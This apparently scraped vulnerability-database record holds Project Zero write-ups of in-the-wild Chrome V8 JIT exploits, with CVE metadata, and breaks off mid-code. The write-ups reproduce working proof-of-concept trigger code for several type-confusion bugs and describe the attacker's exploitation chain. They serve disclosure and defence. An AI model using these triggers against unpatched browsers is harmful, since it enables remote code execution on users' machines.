below:\n\n[...]\n\ncorrupted_array = Array(i);\n\ncorrupted_array[0] = 1.1;\n\nptr_leak_array = [wasm_module, array_buffer, [...],\n\nwasm_module, array_buffer];\n\nextra_array = [13.37, [...], 13.37, 1.234];\n\nreturn [corrupted_array, ptr_leak_array, extra_array];\n\n} \n \n--- \n \nThe attacker forces TurboFan to put the data required for further exploitation right next to the corrupted array and to use the double element type for the backing store as it\u2019s the most convenient type for dealing with out-of-bounds data in the V8 heap.\n\nFrom this point on, the exploit follows the same algorithm that public V8 exploits have been following for several years:\n\n 1. Locate the required pointers and object fields through pattern-matching.\n 2. Construct an arbitrary memory access primitive using an extra JavaScript array and ArrayBuffer.\n 3. Follow the pointer chain from a WebAssembly module instance to locate a writable and executable memory page.\n 4. Overwrite the body of a WebAssembly function inside the page with the attacker\u2019s payload.\n 5. Finally, execute it.\n\nThe contents of the payload, which is about half a megabyte in size, will be discussed in detail in a subsequent blog post.\n\nGiven that the vast majority of Chrome exploits we have seen at Project Zero come from either exploit competitions or VRP submissions, the most striking difference this exploit has demonstrated lies in its focus on stability and reliability. Here are some examples. Almost the entire exploit is executed inside a web worker, which means it has a separate JavaScript environment and runs in its own thread. This greatly reduces the chance of the garbage collector causing an accidental crash due to the inconsistent heap state. The main thread part is only responsible for restarting the worker in case of failure and passing status information to the attacker\u2019s server. The exploit attempts to further reduce the time window for GC crashes by ensuring that every corrupted field is restored to the original value as soon as possible. It also employs the OOB access primitive early on to verify the processor architecture information provided in the user agent header. Finally, the author has clearly aimed to keep the number of hard-coded constants to a minimum. Despite supporting a wide range of Chrome versions, the exploit relies on a single version-dependent offset, namely, the offset in the WASM instance to the executable page pointer.\n\n### Patch 1\n\nEven though there\u2019s evidence this vulnerability has been originally used as a 0-day, by the time we obtained the exploit, it had already been fixed. The issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1028863>) by security researchers Soyeon Park and Wen Xu in November 2019 and was assigned CVE-2019-13764. The proof of concept provided in the report is shown below:\n\nfunction write(begin, end, step) {\n\nfor (var i = begin; i >= end; i += step) {\n\nstep = end - begin;\n\nbegin >>>= 805306382;\n\n}\n\n}\n\nvar buffer = new ArrayBuffer(16384);\n\nvar view = new Uint32Array(buffer);\n\nfor (let i = 0; i < 10000; i++) {\n\nwrite(Infinity, 1, view[65536], 1);\n\n} \n \n--- \n \nAs the reader can see, it\u2019s not the most straightforward way to trigger the issue. The code resembles fuzzer output, and the reporters confirmed that the bug had been found through fuzzing. Given the available evidence, we\u2019re fully confident that it was an independent discovery (sometimes referred to as a \"bug collision\").\n\nSince the proof of concept could only lead to a SIGTRAP crash, and the reporters hadn\u2019t demonstrated, for example, a way to trigger memory corruption, it was initially considered a low-severity issue by the V8 engineers, however, after an internal discussion, the V8 team raised the severity rating to high.\n\nIn the light of the in-the-wild exploitation evidence, we decided to give [the fix](<https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>), which had introduced an explicit check for the NaN case, a thorough examination:\n\n[...]\n\nconst bool both_types_integer =\n\ninitial_type.Is(typer_->cache_->kInteger) &&\n\nincrement_type.Is(typer_->cache_->kInteger);\n\nbool maybe_nan = false;\n\n// The addition or subtraction could still produce a NaN, if the integer\n\n// ranges touch infinity.\n\nif (both_types_integer) {\n\nType resultant_type =\n\n(arithmetic_type == InductionVariable::ArithmeticType::kAddition)\n\n? typer_->operation_typer()->NumberAdd(initial_type,\n\nincrement_type)\n\n: typer_->operation_typer()->NumberSubtract(initial_type,\n\nincrement_type);\n\nmaybe_nan = resultant_type.Maybe(Type::NaN());\n\n}\n\n// We only handle integer induction variables (otherwise ranges\n\n// do not apply and we cannot do anything).\n\nif (!both_types_integer || maybe_nan) {\n\n[...] \n \n--- \n \nThe code makes the assumption that the loop variable may only become NaN if the sum or difference of initial and increment is NaN. At first sight, it seems like a fair assumption. The issue arises from the fact that the value of increment can be changed from inside the loop, which isn\u2019t obvious from the exploit but demonstrated in the proof of concept sent to Chrome. The typer takes into account these changes and reflects them in increment\u2019s computed type. Therefore, the attacker can, for example, add negative increment to i until the latter becomes -Infinity, then change the sign of increment and force the loop to produce NaN once more, as demonstrated by the code below:\n\nvar increment = -Infinity;\n\nvar k = 0;\n\nfor (var i = 0; i < 1; i += increment) {\n\nif (i == -Infinity) {\n\nincrement = +Infinity;\n\n}\n\nif (++k > 10) {\n\nbreak;\n\n}\n\n} \n \n--- \n \nThus, to \u201crevive\u201d the entire exploit, the attacker only needs to change a couple of lines in trigger.\n\n### Patch 2\n\nThe discovered variant was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1051017>) in February along with the exploitation technique found in the exploit. This time [the patch](<https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484>) took a more conservative approach and made the function bail out as soon as the typer detects that increment can be Infinity.\n\n[...]\n\n// If we do not have enough type information for the initial value or\n\n// the increment, just return the initial value's type.\n\nif (initial_type.IsNone() ||\n\nincrement_type.Is(typer_->cache_->kSingletonZero)) {\n\nreturn initial_type;\n\n}\n\n// We only handle integer induction variables (otherwise ranges do not\n\n// apply and we cannot do anything). Moreover, we don't support infinities\n\n// in {increment_type} because the induction variable can become NaN\n\n// through addition/subtraction of opposing infinities.\n\nif (!initial_type.Is(typer_->cache_->kInteger) ||\n\n!increment_type.Is(typer_->cache_->kInteger) ||\n\nincrement_type.Min() == -V8_INFINITY ||\n\nincrement_type.Max() == +V8_INFINITY) {\n\n[...] \n \n--- \n \nAdditionally, ReduceJSCreateArray [was updated](<https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a>) to always use the same value for both the length property and backing store capacity, thus rendering the reported exploitation technique useless.\n\nUnfortunately, the new patch contained an unintended change that introduced another security issue. If we look at [the source code](<https://chromium.googlesource.com/v8/v8.git/+/0da7ca8781c6c7ec852bef845b72ca7f212cdc23/src/compiler/typer.cc#845>) of TypeInductionVariablePhi before the patches, we find that it checks whether the type of increment is limited to the constant zero. In this case, it assigns the type of initial to the induction variable. The second patch moved the check above the line that ensures initial is an integer. In JavaScript, however, adding or subtracting zero doesn\u2019t necessarily preserve the type, for example:\n\n| \n\n| \n\n-0\n\n| \n\n+\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n-0 \n \n---|---|---|---|---|---|--- \n \n| \n\n| \n\n[string]\n\n| \n\n-\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n[number] \n \n| \n\n| \n\n[object]\n\n| \n\n+\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n[string] \n \nAs a result, the patched function provides us with an even wider choice of possible \u201ctype confusions\u201d.\n\nIt was considered worthwhile to examine how difficult it would be to find a replacement for the ReduceJSCreateArray technique and exploit the new issue. The task turned out to be a lot easier than initially expected because we soon found [this excellent blog post](<https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/>) written by Jeremy Fetiveau, where he describes a way to bypass the initial bounds check elimination hardening. In short, depending on whether the engine has encountered an out-of-bounds element access attempt during the execution of a function in the interpreter, it instructs the compiler to emit either the CheckBounds or NumberLessThan node, and only the former is covered by the hardening. Consequently, the attacker just needs to make sure that the function attempts to access a non-existent array element in one of the first few invocations.\n\nWe find it interesting that even though this equally powerful and convenient technique has been publicly available since last May, the attacker has chosen to rely on their own method. It is conceivable that the exploit had been developed even before the blog post came out.\n\nOnce again, the technique requires an integer with a miscalculated range, so the revamped trigger function mostly consists of various type transformations:\n\nfunction trigger(arg) {\n\n// Initially:\n\n// actual = 1, inferred = any\n\nvar k = 0;\n\narg = arg | 0;\n\n// After step one:\n\n// actual = 1, inferred = [-0x80000000, 0x7fffffff]\n\narg = Math.min(arg, 2);\n\n// After step two:\n\n// actual = 1, inferred = [-0x80000000, 2]\n\narg = Math.max(arg, 1);\n\n// After step three:\n\n// actual = 1, inferred = [1, 2]\n\nif (arg == 1) {\n\narg = \"30\";\n\n}\n\n// After step four:\n\n// actual = string{30}, inferred = [1, 2] or string{30}\n\nfor (var i = arg; i < 0x1000; i -= 0) {\n\nif (++k > 1) {\n\nbreak;\n\n}\n\n}\n\n// After step five:\n\n// actual = number{30}, inferred = [1, 2] or string{30}\n\ni += 1;\n\n// After step six:\n\n// actual = 31, inferred = [2, 3]\n\ni >>= 1;\n\n// After step seven:\n\n// actual = 15, inferred = 1\n\ni += 2;\n\n// After step eight:\n\n// actual = 17, inferred = 3\n\ni >>= 1;\n\n// After step nine:\n\n// actual = 8, inferred = 1\n\nvar array = [0.1, 0.1, 0.1, 0.1];\n\nreturn [array[i], array];\n\n} \n \n--- \n \nThe mismatch between the number 30 and string \u201c30\u201d occurs in step five. The next operation is represented by the SpeculativeSafeIntegerAdd node. The typer is aware that whenever this node encounters a non-number argument, it immediately triggers deoptimization. Hence, all non-number elements of the argument type can be ignored. The unexpected integer value, which obviously doesn\u2019t cause the deoptimization, enables us to generate an erroneous range. Eventually, the compiler eliminates the NumberLessThan node, which is supposed to protect the element access in the last line, based on the observed range.\n\n### Patch 3\n\nSoon after we had identified the regression, the V8 team landed [a patch](<https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef>) that removed the vulnerable code branch. They also took a number of additional hardening measures, for example:\n\n * Extended [element access hardening](<https://chromium.googlesource.com/v8/v8.git/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94>), which now prevents the abuse of NumberLessThan nodes.\n * Discovered and [fixed a similar problem](<https://chromium.googlesource.com/v8/v8.git/+/c85aa83087e7146281a95369cadf943ef78bf321>) with the elimination of MaybeGrowFastElements. Under certain conditions, this node, which may resize the backing store of a given array, is placed before StoreElement to ensure the array can fit the element. Consequently, the elimination of the node could allow an attacker to write data past the end of the backing store.\n * [Implemented a verifier](<https://chromium.googlesource.com/v8/v8.git/+/e440eda4ad9bfd8983c9896de574556e8eaee406>) for induction variables that validates the computed type against the more conservative regular phi typing.\n\nFurthermore, the V8 engineers have been working on [a feature](<https://chromium.googlesource.com/v8/v8.git/+/2e82ead865d088890bbfd14abfb22b8055b35394>) that allows TurboFan to insert runtime type checks into generated code. The feature should make fuzzing for typer issues much more efficient.\n\n### Conclusion\n\nThis blog post is meant to provide insight into the complexity of type tracking in JavaScript. The number of obscure rules and constraints an engineer has to bear in mind while working on the feature almost inevitably leads to errors, and, quite often even the slightest issue in the typer is enough to build a powerful and reliable exploit.\n\nAlso, the reader is probably familiar with the hypothesis of an enormous disparity between the state of public and private offensive security research. The fact that we\u2019ve discovered a rather sophisticated attacker who has exploited a vulnerability in the class that has been under the scrutiny of the wider security community for at least a couple of years suggests that there\u2019s nevertheless a certain overlap. Moreover, we were especially pleased to see a bug collision between a VRP submission and an in-the-wild 0-day exploit.\n\nThis is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see [In The Wild Part 3: Chrome Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html>).\n", "published": "2021-01-12T00:00:00", "modified": "2021-01-12T00:00:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html", "reporter": "GoogleProjectZero", "references": [], "cvelist": ["CVE-2019-13764"], "lastseen": "2021-01-13T07:24:00", "viewCount": 116, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2019-13764"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:9523EA61EA974CED8A3D9198CD0D5F6D", "GOOGLEPROJECTZERO:A596034F451F58030932B2FC46FB6F38"]}, {"type": "nessus", "idList": ["MACOSX_GOOGLE_CHROME_79_0_3945_79.NASL", "FEDORA_2019-1A10C04281.NASL", "GOOGLE_CHROME_79_0_3945_79.NASL", "DEBIAN_DSA-4606.NASL", "OPENSUSE-2019-2692.NASL", "FEDORA_2020-4355EA258E.NASL", "GENTOO_GLSA-202003-08.NASL", "REDHAT-RHSA-2019-4238.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310877318", "OPENVAS:1361412562310877374", "OPENVAS:1361412562310815871", "OPENVAS:1361412562310815873", "OPENVAS:1361412562310704606", "OPENVAS:1361412562310852858", "OPENVAS:1361412562310815872"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:2692-1", "OPENSUSE-SU-2019:2694-1"]}, {"type": "redhat", "idList": ["RHSA-2019:4238"]}, {"type": "fedora", "idList": ["FEDORA:58B4460D22EC", "FEDORA:9471A606D8C2"]}, {"type": "kaspersky", "idList": ["KLA11718", "KLA11621"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4606-1:D7F34"]}, {"type": "gentoo", "idList": ["GLSA-202003-08"]}], "modified": "2021-01-13T07:24:00", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-01-13T07:24:00", "rev": 2}, "vulnersScore": 6.7}}
{"cve": [{"lastseen": "2021-02-02T07:12:50", "description": "Type confusion in JavaScript in Google Chrome prior to 79.0.3945.79 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "edition": 18, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-10T22:15:00", "title": "CVE-2019-13764", "type": "cve", "cwe": ["CWE-843"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-13764"], "modified": "2019-12-16T12:15:00", "cpe": [], "id": "CVE-2019-13764", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13764", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "googleprojectzero": [{"lastseen": "2021-01-13T07:23:58", "bulletinFamily": "info", "cvelist": ["CVE-2017-5070", "CVE-2019-13764", "CVE-2019-5782", "CVE-2020-6418"], "description": "This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the [introduction post](<https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html>).\n\nPosted by Sergei Glazunov, Project Zero\n\n### Introduction\n\nAs we continue the series on the watering hole attack discovered in early 2020, in this post we\u2019ll look at the rest of the exploits used by the actor against Chrome. A timeline chart depicting the extracted exploits and affected browser versions is provided below. Different color shades represent different exploit versions.\n\n[](<https://1.bp.blogspot.com/-zWgmKrcnjv8/X_4pAn_ymUI/AAAAAAAAanU/fBqLBzSDt7ks8lax9SI1f-QkmTj31k-JwCNcBGAsYHQ/s1359/timeline.png>)\n\nAll vulnerabilities used by the attacker are in V8, Chrome\u2019s JavaScript engine; and more specifically, they are JIT compiler bugs. While classic C++ memory safety issues are still [exploited in real-world attacks](<https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/>) against web browsers, vulnerabilities in JIT offer many advantages to attackers. First, they usually provide more powerful primitives that can be easily turned into a reliable exploit without the need of a separate issue to, for example, break ASLR. Secondly, the majority of them are almost interchangeable, which significantly accelerates exploit development. Finally, bugs from this class allow the attacker to take advantage of a browser feature called web workers. Web developers use workers to execute additional tasks in a separate JavaScript environment. The fact that every worker runs in its own thread and has its own V8 heap makes exploitation significantly more predictable and stable.\n\nThe bugs themselves aren\u2019t novel. In fact, three out of four issues have been independently discovered by external security researchers and reported to Chrome, and two of the reports even provided a full renderer exploit. While writing this post, we were more interested in learning about exploitation techniques and getting insight into a high-tier attacker\u2019s exploit development process.\n\n### 1\\. CVE-2017-5070\n\n#### The vulnerability\n\nThis is an issue in Crankshaft, the JIT engine Chrome used before TurboFan. The alias analyzer, which is used by several optimization passes to determine whether two nodes may refer to the same object, produces incorrect results when one of the two nodes is a constant. Consider the following code, which has been extracted from one of the exploits:\n\nglobal_array = [, 1.1];\n\nfunction trigger(local_array) {\n\nvar temp = global_array[0];\n\nlocal_array[1] = {};\n\nreturn global_array[1];\n\n}\n\ntrigger([, {}]);\n\ntrigger([, 1.1]);\n\nfor (var i = 0; i < 10000; i++) {\n\ntrigger([, {}]);\n\n}\n\nprint(trigger(global_array)); \n \n--- \n \nThe first line of the trigger function makes Crankshaft perform a map check on global_array (a map in V8 describes the \u201cshape\u201d of an object and includes the element representation information). The next line may trigger the double -> tagged element representation transition for local_array. Since the compiler incorrectly assumes that local_array and global_array can\u2019t point to the same object, it doesn\u2019t invalidate the recorded map state of global_array and, consequently, eliminates the \u201credundant\u201d map check in the last line of the function.\n\nThe vulnerability grants an attacker a two-way type confusion between a JS object pointer and an unboxed double, which is a powerful primitive and is sufficient for a reliable exploit.\n\nThe issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=722756>) by security researcher Qixun Zhao (@S0rryMybad) in May 2017 and fixed in the initial release of Chrome 59. The researcher also provided a renderer exploit. [The fix](<https://chromium.googlesource.com/v8/v8.git/+/e33fd30777f99a0d6e16b16d096a2663b1031457>) made made the alias analyser use the constant comparison only when both arguments are constants:\n\nHAliasing Query(HValue* a, HValue* b) {\n\n[...]\n\n// Constant objects can be distinguished statically.\n\n- if (a->IsConstant()) {\n\n+ if (a->IsConstant() && b->IsConstant()) {\n\nreturn a->Equals(b) ? kMustAlias : kNoAlias;\n\n}\n\nreturn kMayAlias; \n \n--- \n \n#### Exploit 1\n\nThe earliest exploit we\u2019ve discovered targets Chrome 37-58. This is the widest version range we\u2019ve seen, which covers the period of almost three years. Unlike the rest of the exploits, this one contains a separate constant table for every supported browser build.\n\nThe author of the exploit takes a [known approach](<http://phrack.org/papers/attacking_javascript_engines.html>) to exploiting type confusions in JavaScript engines, which involves gaining the arbitrary read/write capability as an intermediate step. The exploit employs the issue to implement the addrof and fakeobj primitives. It \u201cconstructs\u201d a fake ArrayBuffer object inside a JavaScript string, and uses the above primitives to obtain a reference to the fake object. Because strings in JS are immutable, the backing store pointer field of the fake ArrayBuffer can\u2019t be modified. Instead, it\u2019s set in advance to point to an extra ArrayBuffer, which is actually used for arbitrary memory access. Finally, the exploit follows a pointer chain to locate and overwrite the code of a JIT compiled function, which is stored in a RWX memory region.\n\nThe exploit is quite an impressive piece of engineering. For example, it includes a small framework for crafting fake JS objects, which supports assigning fields to real JS objects, fake sub-objects, tagged integers, etc. Since the bug can only be triggered once per JIT-compiled function, every time addrof or fakeobj is called, the exploit dynamically generates a new set of required objects and functions using eval.\n\nThe author also made significant efforts to increase the reliability of the exploit: there is a sanity check at every minor step; addrof stores all leaked pointers, and the exploit ensures they are still valid before accessing the fake object; fakeobj creates a giant string to store the crafted object contents so it gets allocated in the large object space, where objects aren\u2019t moved by the garbage collector. And, of course, the exploit runs inside a web worker.\n\nHowever, despite the efforts, the amount of auxiliary code and complexity of the design make accidental crashes quite probable. Also, the constructed fake buffer object is only well-formed enough to be accepted as an argument to the typed array constructor, but it\u2019s unlikely to survive a GC cycle. Reliability issues are the likely reason for the existence of the second exploit.\n\n#### Exploit 2\n\nThe second exploit for the same vulnerability aims at Chrome 47-58, i.e. a subrange of the previous exploit\u2019s supported version range, and the exploit server always gives preference to the second exploit. The version detection is less strict, and there are just three distinct constant tables: for Chrome 47-49, 50-53 and 54-58.\n\nThe general approach is similar, however, the new exploit seems to have been rewritten from scratch with simplicity and conciseness in mind as it\u2019s only half the size of the previous one. addrof is implemented in a way that allows leaking pointers to three objects at a time and only used once, so the dynamic generation of trigger functions is no longer needed. The exploit employs mutable on-heap typed arrays instead of JS strings to store the contents of fake objects; therefore, an extra level of indirection in the form of an additional ArrayBuffer is not required. Another notable change is using a RegExp object for code execution. The possible benefit here is that, unlike a JS function, which needs to be called many times to get JIT-compiled, a regular expression gets translated into native code already in the constructor.\n\nWhile it\u2019s possible that the exploits were written after the issue had become public, they greatly differ from the public exploit in both the design and implementation details. The attacker has thoroughly investigated the issue, for example, their trigger function is much more straightforward than in the public [proof-of-concept](<https://chromium.googlesource.com/v8/v8/+/e33fd30777f99a0d6e16b16d096a2663b1031457/test/mjsunit/regress/regress-crbug-722756.js>).\n\n### 2\\. CVE-2020-6418\n\n#### The vulnerability\n\nThis is a side effect modelling issue in TurboFan. The function InferReceiverMapsUnsafe assumes that a JSCreate node can only modify the map of its value output. However, in reality, the node can trigger a property access on the new_target parameter, which is observable to user JavaScript if new_target is a proxy object. Therefore, the attacker can unexpectedly change, for example, the element representation of a JS array and trigger a type confusion similar to the one discussed above:\n\n'use strict';\n\n(function() {\n\nvar popped;\n\nfunction trigger(new_target) {\n\nfunction inner(new_target) {\n\nfunction constructor() {\n\npopped = Array.prototype.pop.call(array);\n\n}\n\nvar temp = array[0];\n\nreturn Reflect.construct(constructor, arguments, new_target);\n\n}\n\ninner(new_target);\n\n}\n\nvar array = new Array(0, 0, 0, 0, 0);\n\nfor (var i = 0; i < 20000; i++) {\n\ntrigger(function() { });\n\narray.push(0);\n\n}\n\nvar proxy = new Proxy(Object, {\n\nget: () => (array[4] = 1.1, Object.prototype)\n\n});\n\ntrigger(proxy);\n\nprint(popped);\n\n}()); \n \n--- \n \nA call reducer (i.e., an optimizer) for Array.prototype.pop invokes InferReceiverMapsUnsafe, which marks the inference result as reliable meaning that it doesn\u2019t require a runtime check. When the proxy object is passed to the vulnerable function, it triggers the tagged -> double element transition. Then pop takes a double element and interprets it as a tagged pointer value.\n\nNote that the attacker can\u2019t call the array function directly because for the expression array.pop() the compiler would insert an extra map check for the property read, which would be scheduled after the proxy handler had modified the array.\n\nThis is the only Chrome vulnerability that was still exploited as a 0-day at the time we discovered the exploit server. The issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1053604>) under the 7-day deadline. [The one-line patch](<https://chromium.googlesource.com/v8/v8.git/+/fb0a60e15695466621cf65932f9152935d859447>) modified the vulnerable function to mark the result of the map inference as unreliable whenever it encounters a JSCreate node:\n\nInferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(\n\n[...]\n\nInferReceiverMapsResult result = kReliableReceiverMaps;\n\n[...]\n\ncase IrOpcode::kJSCreate: {\n\nif (IsSame(receiver, effect)) {\n\nbase::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);\n\nif (initial_map.has_value()) {\n\n*maps_return = ZoneHandleSet<Map>(initial_map->object());\n\nreturn result;\n\n}\n\n// We reached the allocation of the {receiver}.\n\nreturn kNoReceiverMaps;\n\n}\n\n+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.\n\nbreak;\n\n}\n\n[...] \n \n--- \n \nThe reader can refer to [the blog post](<https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/>) published by Exodus Intel for more details on the issue and their version of the exploit.\n\n#### Exploit 1\n\nThis time there\u2019s no embedded list of supported browser versions; the appropriate constants for Chrome 60-63 are determined on the server side.\n\nThe exploit takes a rather exotic approach: it only implements a function for the confusion in the double -> tagged direction, i.e. the fakeobj primitive, and takes advantage of a side effect in pop to leak a pointer to the internal hole object. The function pop overwrites the \u201cpopped\u201d value with the hole, but due to the same confusion it writes a pointer instead of the special bit pattern for double arrays.\n\nThe exploit uses the leaked pointer and fakeobj to implement a data leak primitive that can \u201csurvive'' garbage collection. First, it acquires references to two other internal objects, the class_start_position and class_end_position private [symbols](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol>), owing to the fact that the offset between them and the hole is fixed. Private symbols are special identifiers used by V8 to store hidden properties inside regular JS objects. In particular, the two symbols refer to the start and end substring indices in the script source that represent the body of a class. When JSFunction::ToString is invoked on the class constructor and builds the substring, it performs no bounds checks on the \u201ctrustworthy\u201d indices; therefore, the attacker can modify them to leak arbitrary chunks of data in the V8 heap.\n\nThe obtained data is scanned for values required to craft a fake typed array: maps, fixed arrays, backing store pointers, etc. This approach allows the attacker to construct a perfectly valid fake object. Since the object is located in a memory region outside the V8 heap, the exploit also has to create a fake MemoryChunk header and marking bitmap to force the garbage collector to skip the crafted objects and, thus, avoid crashes.\n\nFinally, the exploit overwrites the code of a JIT-compiled function with a payload and executes it.\n\nThe author has implemented extensive sanity checking. For example, the data leak primitive is reused to verify that the garbage collector hasn\u2019t moved critical objects. In case of a failure, the worker with the exploit gets terminated before it can cause a crash. Quite impressively, even when we manually put GC invocations into critical sections of the exploit, it was still able to exit gracefully most of the time.\n\nThe exploit employs an interesting technique to detect whether the trigger function has been JIT-compiled:\n\njit_detector[Symbol.toPrimitive] = function() {\n\nvar stack = (new Error).stack;\n\nif (stack.indexOf(\"Number (\") == -1) {\n\njit_detector.is_compiled = true;\n\n}\n\n};\n\nfunction trigger(array, proxy) {\n\nif (!jit_detector.is_compiled) {\n\nNumber(jit_detector);\n\n}\n\n[...] \n \n--- \n \nDuring compilation, TurboFan inlines the builtin function Number. This change is reflected in the JS call stack. Therefore, the attacker can scan a stack trace from inside a function that Number invokes to determine the compilation state.\n\nThe exploit was broken in Chrome 64 by [the change](<https://chromium.googlesource.com/v8/v8/+/52ab610bd13>) that encapsulated both class body indices in a single internal object. Although the change only affected a minor detail of the exploit and had an obvious workaround, which is discussed below, the actor decided to abandon this 0-day and switch to an exploit for CVE-2019-5782. This observation suggests that the attacker was already aware of the third vulnerability around the time Chrome 64 came out, i.e. it was also used as a 0-day.\n\n#### Exploit 2\n\nAfter CVE-2019-5782 became unexploitable, the actor returned to this vulnerability. However, in the meantime, [another commit](<https://chromium.googlesource.com/v8/v8/+/ccbbdb93a1c6f38422097738a830c137576d92fd>) landed in Chrome that stopped TurboFan from trying to optimize builtins invoked via Function.prototype.call or similar functions. Therefore, the trigger function had to be updated:\n\nfunction trigger(new_target) {\n\nfunction inner(new_target) {\n\npopped = array.pop(\n\nReflect.construct(function() { }, arguments, new_target));\n\n}\n\ninner(new_target);\n\n} \n \n--- \n \nBy making the result of Reflect.construct an argument to the pop call, the attacker can move the corresponding JSCreate node after the map check induced by the property load.\n\nThe new exploit also has a modified data leak primitive. First, the attacker no longer relies on the side effect in pop to get an address on the heap and reuses the type confusion to implement the addrof function. Because the exploit doesn\u2019t have a reference to the hole, it obtains the address of the builtin asyncIterator symbol instead, which is accessible to user scripts and also stored next to the desired class_positions private symbol.\n\nThe exploit can\u2019t modify the class body indices directly as they\u2019re not regular properties of the object referenced by class_positions. However, it can replace the entire object, so it generates an extra class with a much longer constructor string and uses it as a donor.\n\nThis version targets Chrome 68-72. It was broken by [the commit](<https://chromium.googlesource.com/v8/v8.git/+/f7aa8ea00bbf200e9050a22ec84fab4f323849a7%5E%21/>) that enabled the W^X protection for JIT regions. Again, given that there are still similar RWX mappings in the renderer related to WebAssembly, the exploit could have been easily fixed. The attacker, nevertheless, decided to focus on an exploit for CVE-2019-13764 instead.\n\n#### Exploit 3 & 4\n\nThe actor returned once again to this vulnerability after CVE-2019-13764 got fixed. The new exploit bypasses the W^X protection by replacing a JIT-compiled JS function with a WebAssembly function as the overwrite target for code execution. That\u2019s the only significant change made by the author.\n\nExploit 3 is the only one we\u2019ve discovered on the Windows server, and Exploit 4 is essentially the same exploit adapted for Android. Interestingly, it only appeared on the Android server after the fix for the vulnerability came out. A significant amount of number and string literals got updated, and the pop call in the trigger function was replaced with a shift call. The actor likely attempted to avoid signature-based detection with those changes.\n\nThe exploits were used against Chrome 78-79 on Windows and 78-80 on Android until the vulnerability finally got patched.\n\n[The public exploit](<https://blog.exodusintel.com/wp-content/uploads/2020/05/exp.zip>) presented by Exodus Intel takes a completely different approach and abuses the fact that double and tagged pointer elements differ in size. When the same bug is applied against the function Array.prototype.push, the backing store offset for the new element is calculated incorrectly and, therefore, arbitrary data gets written past the end of the array. In this case the attacker doesn\u2019t have to craft fake objects to achieve arbitrary read/write, which greatly simplifies the exploit. However, on 64-bit systems, this approach can only be used starting from Chrome 80, i.e. the version that introduced the [pointer compression](<https://v8.dev/blog/pointer-compression>) feature. While Chrome still runs in the 32-bit mode on Android in order to reduce memory overhead, user agent checks found in the exploits indicate that the actor also targeted (possibly 64-bit) webview processes.\n\n### 3\\. CVE-2019-5782\n\n### The vulnerability\n\nCVE-2019-5782 is an issue in TurboFan\u2019s typer module. During compilation, the typer infers the possible type of every node in a function graph using a set of rules imposed by the language. Subsequent optimization passes rely on this information and can, for example, eliminate a security-critical check when the predicted type suggests the check would be redundant. A mismatch between the inferred type and actual value can, therefore, lead to security issues.\n\nNote that in this context, the notion of type is quite different from, for example, C++ types. A TurboFan type can be represented by a range of numbers or even a specific value. For more information on typer bugs please refer to the [previous post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>).\n\nIn this case an incorrect type is produced for the expression arguments.length, i.e. the number of arguments passed to a given function. The compiler assigns it the integer range [0; 65534], which is valid for a regular call; however, the same limit is not enforced for Function.prototype.apply. The mismatch was abused by the attacker to eliminate a bounds check and access data past the end of the array:\n\noob_index = 100000;\n\nfunction trigger() {\n\nlet array = [1.1, 1.1];\n\nlet index = arguments.length;\n\nindex = 